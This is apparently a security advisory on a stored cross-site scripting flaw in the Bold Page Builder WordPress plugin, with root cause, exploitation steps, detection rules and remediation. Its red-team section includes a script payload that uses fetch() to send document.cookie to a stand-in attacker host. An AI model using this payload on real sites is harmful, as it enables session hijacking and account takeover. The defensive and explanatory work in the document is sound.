CVE-2025-47525

Executive Summary

CVE-2025-47525 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin (versions up to and including 5.3.0). The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into page/post content. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available. This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Boldthemes). No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – A user (e.g., admin) must view the malicious page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all users viewing the page, including administrators.

Deep Dive & Mechanics

The Bold Page Builder plugin allows users to create and edit pages using a visual builder interface. The vulnerability exists in the way the plugin handles user-supplied input (e.g., text fields, URLs, or custom attributes) when rendering page content. Specifically, the plugin fails to sanitize or escape certain input fields before storing them in the WordPress database. When the page is later rendered, the unsanitized input is output directly into the HTML, allowing an attacker to inject arbitrary JavaScript.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows HTML/JavaScript to be stored and executed.

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates or edits a page using Bold Page Builder.
3. Attacker injects malicious JavaScript into a vulnerable field (e.g., a text block or link URL).
4. The malicious payload is stored in the database.
5. When an administrator or other user views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Bold Page Builder <= 5.3.0):

// Example of unsanitized output in a template
echo '<div class="bold-element">' . $user_input . '</div>';

Patched Code (Hypothetical fix):

// Properly escaped output
echo '<div class="bold-element">' . esc_html( $user_input ) . '</div>';

The patched version would use WordPress's esc_html() or wp_kses() functions to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Bold Page Builder <= 5.3.0 installed.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Use Bold Page Builder to add a text block.
4. In the text block, enter the following payload:

   <script>alert('XSS')</script>
   

5. Publish the page.
6. When an admin views the page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual page/post content containing <script> tags or event handlers (e.g., onload, onerror).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable or remove Bold Page Builder until a patch is available.
• Restrict contributor-level access to trusted users only.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no known malicious files)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing document.cookie or fetch in page content.
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing <script> tags or JavaScript event handlers.
• Log Indicators:
  • WordPress audit logs showing page creation/editing by low-privilege users with suspicious content.

Detection Engineering

YARA Rule

rule Detect_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47525"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS via Bold Page Builder
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in WordPress pages created with Bold Page Builder
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Example: Page created/updated
        PostContent|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47525 Stored XSS in Bold Page Builder"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"<script>"; within:100; reference:cve,2025-47525; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Bold Page Builder plugin until a patched version is released.
2. Short-term: Restrict contributor-level access to only trusted users. Implement a Web Application Firewall (WAF) with XSS rules.
3. Long-term: Apply the official patch from Boldthemes once available. Update to the latest version of the plugin.
4. Compensating Controls: Use WordPress security plugins (e.g., Wordfence, Sucuri) to monitor and block XSS attempts. Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT
DevSecOps & Cyber Threat Intelligence